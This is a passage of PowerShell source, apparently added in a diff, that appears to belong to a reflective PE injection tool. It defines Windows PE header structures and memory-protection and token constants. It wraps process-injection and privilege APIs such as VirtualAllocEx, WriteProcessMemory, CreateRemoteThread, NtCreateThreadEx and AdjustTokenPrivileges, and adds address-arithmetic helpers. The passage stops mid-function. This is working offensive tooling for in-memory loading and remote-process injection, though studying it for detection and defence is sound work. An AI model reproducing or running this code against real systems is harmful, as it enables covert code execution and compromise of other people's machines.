$IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + 